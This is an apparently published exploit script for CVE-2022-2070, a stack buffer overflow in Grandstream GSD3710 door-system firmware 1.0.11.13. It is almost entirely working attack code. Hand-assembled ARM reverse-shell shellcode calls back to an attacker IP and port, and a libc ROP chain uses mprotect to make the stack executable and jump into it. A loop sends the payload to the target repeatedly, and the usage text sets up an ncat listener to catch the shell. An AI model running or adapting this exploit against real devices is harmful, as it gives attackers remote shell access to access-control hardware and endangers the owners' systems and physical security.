Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow

#!/usr/bin/env python3

# Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
# Google Dork: [if applicable]
# Date: 2025-05-23
# Exploit Author: Pepelux (user in ExploitDB)
# Vendor Homepage: https://www.grandstream.com/
# Software Link: [download link if available]
# Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower
# Tested on: Linux and MacOS
# CVE: CVE-2022-2070

"""
Author: Jose Luis Verdeguer (@pepeluxx)

Required: Pwntools

Example:

Terminal 1:
$ ncat -lnvp 4444

Terminal 2:
$ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444
"""

from operator import ge
import sys
import time
from pwn import *

import argparse


def get_args():
    parser = argparse.ArgumentParser(
        formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(
            prog, max_help_position=50))

    # Add arguments
    parser.add_argument('-ti', '--target_ip', type=str, required=True,
                        help='device IP address', dest="device_ip")
    parser.add_argument('-tp', '--target_port', type=int, required=True, default=8081,
                        help='device port', dest="device_port")
    parser.add_argument('-ri', '--reverse_ip', type=str, required=True,
                        help='reverse IP address', dest="reverse_ip")
    parser.add_argument('-rp', '--reverse_port', type=int, required=True,
                        help='reverse port', dest="reverse_port")

    # Array for all arguments passed to script
    args = parser.parse_args()

    try:
        TI = args.device_ip
        TP = args.device_port
        RI = args.reverse_ip
        RP = args.reverse_port

        return TI, TP, RI, RP
    except ValueError:
        exit()


def check_badchars(data):
    for i in range(len(data)):
        if data[i] in [0x0, 0x40]:
            log.warn("Badchar %s detected at %#x" % (hex(data[i]), i))
            return True
    return False


def get_shellcode(ip, port):
    ip_bytes = socket.inet_aton(ip)
    port_bytes = struct.pack(">H", port)

    # Linux ARM reverse shell

    # switch to thumb mode
    sc = b"\x01\x30\x8F\xE2"  # add r3, pc, #1
    sc += b"\x13\xFF\x2F\xE1"  # bx r3

    # socket(2, 1, 0)
    sc += b"\x02\x20"  # movs r0, #2
    sc += b"\x01\x21"  # movs r1, #1
    sc += b"\x92\x1A"  # subs r2, r2, r2
    sc += b"\xC8\x27"  # movs r7, #0xc8
    sc += b"\x51\x37"  # adds r7, #0x51
    sc += b"\x01\xDF"  # svc #1
    sc += b"\x04\x1C"  # adds r4, r0, #0

    # connect(r0, &sockaddr, 16)
    sc += b"\x0C\xA1"  # adr r1, #0x30
    sc += b"\x4A\x70"  # strb r2, [r1, #1]
    sc += b"\x10\x22"  # movs r2, #0x10
    sc += b"\x02\x37"  # adds r7, #2
    sc += b"\x01\xDF"  # svc #1

    # dup2(sockfd, 0)
    sc += b"\x3F\x27"  # movs r7, #0x3f
    sc += b"\x20\x1C"  # adds r0, r4, #0
    sc += b"\x49\x1A"  # subs r1, r1, r1
    sc += b"\x01\xDF"  # svc #1

    # dup2(sockfd, 1)
    sc += b"\x20\x1C"  # adds r0, r4, #0
    sc += b"\x01\x21"  # movs r1, #1
    sc += b"\x01\xDF"  # svc #1

    # dup2(sockfd, 2)
    sc += b"\x20\x1C"  # adds r0, r4, #0
    sc += b"\x02\x21"  # movs r1, #2
    sc += b"\x01\xDF"  # svc #1

    # execve("/bin/sh")
    sc += b"\x06\xA0"  # adr r0, #0x18
    sc += b"\x92\x1A"  # subs r2, r2, r2
    sc += b"\x49\x1A"  # subs r1, r1, r1
    sc += b"\x01\x91"  # str r1, [sp, #4]
    sc += b"\x02\x91"  # str r1, [sp, #8]
    sc += b"\x01\x90"  # str r0, [sp, #4]
    sc += b"\x01\xA9"  # add r1, sp, #4
    sc += b"\xC2\x71"  # strb r2, [r0, #7]
    sc += b"\x0B\x27"  # movs r7, #0xb
    sc += b"\x01\xDF"  # svc #1

    sc += b"\x02\xFF"
    sc += port_bytes
    sc += ip_bytes
    sc += b"/bin/shX"

    return sc


def main():
    ti, tp, ri, rp = get_args()

    # ROP Gadgets

    libc_base = 0x76ec1000

    mprotect = libc_base + 0x93510+1
    pop_lr = libc_base + 0x1848C  # pop {r0, r4, r8, ip, lr, pc}
    pop_pc = libc_base + 0xd7515  # pop {pc}
    pop_r0 = libc_base + 0x00064bb0+1  # 0x00064bb0 : pop {r0, pc}

    pop_r5 = libc_base + 0x00003738+1  # 0x00003738 : pop {r5, pc}
    add_r1_sp = libc_base + 0x000b3c4e+1  # 0x000b3c4e : add r1, sp, #0x14 ; blx r5
    # 0x0002f83c (0x0002f83d): mov r0, r1; bx lr
    mov_r0_r1 = libc_base + 0x0002f83d
    # 0x0006a086 (0x0006a087): pop {r1, pc}
    pop_r1 = libc_base + 0x6a087
    ands_r0_r1 = libc_base + 0x1feba+1  # 0x0001feba : ands r0, r1 ; bx lr
    # 0x000a3a42 : movs r4, r0 ; pop {r1, pc}
    mov_r4_r0 = libc_base + 0x000a3a42+1
    # 0x0001fdae (0x0001fdaf): movs r1, r0; bx lr
    movs_r1_r0 = libc_base + 0x0001fdaf

    and_r0_f = libc_base + 0x8717e+1  # 0x0008717e : and r0, r0, #0xf ; bx lr
    movs_r2_r0 = libc_base + 0x0001fc6a+1  # 0x0001fc6a : movs r2, r0 ; bx lr
    mov_r0_r4 = libc_base + 0x0001f9d4+1  # 0x0001f9d4 : movs r0, r4 ; bx lr
    blx_sp = libc_base + 0x46595  # 0x00046594 (0x00046595): blx sp

    shellcode = get_shellcode(ri, rp)

    auth_command = b"LOG/1.0 END CMD:AUTH_USERNAME @"
    junk = p32(0x43434343)

    payload = auth_command
    payload += b"A" * 144

    # The goal is that R0 -> SP

    # R5 = pop {pc}
    # because in the the next gadget we have a blx r5
    payload += p32(pop_r5)
    payload += p32(pop_pc) # R5 = pop {pc}

    # R1 = SP ; BLX pop {pc}
    payload += p32(add_r1_sp) # add r1, sp, #0x14 ; blx r5

    # Restore LR register (because it has been updated by the last BLX gadget)
    payload += p32(pop_lr) # pop {r0, r4, r8, ip, lr, pc}
    payload += junk*4  # r0, r4, r8, ip
    payload += p32(pop_pc) # LR = pop {pc}

    # R0 = stack address
    payload += p32(mov_r0_r1) # mov r0, r1; bx lr

    # R1 = mask page align
    payload += p32(pop_r1) # pop {r1, pc}
    payload += p32(0xfffe1001)

    # R0 = stack address & 0xfffe1001
    payload += p32(ands_r0_r1) # ands r0, r1 ; bx lr 
    # R4 = R0
    payload += p32(mov_r4_r0)  # movs r0, r4 ; bx lr
    payload += junk  # r1

    # mprotect params
    # r0 = shellcode page aligned address
    # r1 = size(ofshellcode)
    # r2 = protection (0x7 – RWX)

    # R2 = 0x7
    payload += p32(pop_r0)
    payload += p32(0x07070707)
    payload += p32(and_r0_f)  # R0 = 7 (RWX)
    payload += p32(movs_r2_r0)  # R2 (prot: 7 - RWX)

    # R1 = length = 0x10101010 (avoid 0's)
    payload += p32(pop_r0)
    payload += p32(0x01010101)
    payload += p32(movs_r1_r0)  # r1 (length: 0x10101010)

    # R0 = stack address 4k aligned
    payload += p32(mov_r0_r4)

    # mprotect(stack, 0x10101010, 0x7)
    payload += p32(mprotect)
    payload += p32(blx_sp)  # ejecutamos en pila
    payload += shellcode  # shellcode

    if check_badchars(payload[len(auth_command):]):
        sys.exit(0)

    log.info("Device IP: %s:%d" % (ti, tp))
    log.info("Attacker IP: %s:%d" % (ri, rp))
    log.info("Payload len: %d" % len(payload))

    count = 1

    while True:
        try:
            print('Try: %d' % count)
            r = remote(ti, tp)
            r.send(payload)
            log.success("Payload sent!")
            # r.close()
            time.sleep(1)
            count += 1
        except:
            sleep(3)
            pass


if __name__ == '__main__':
    main()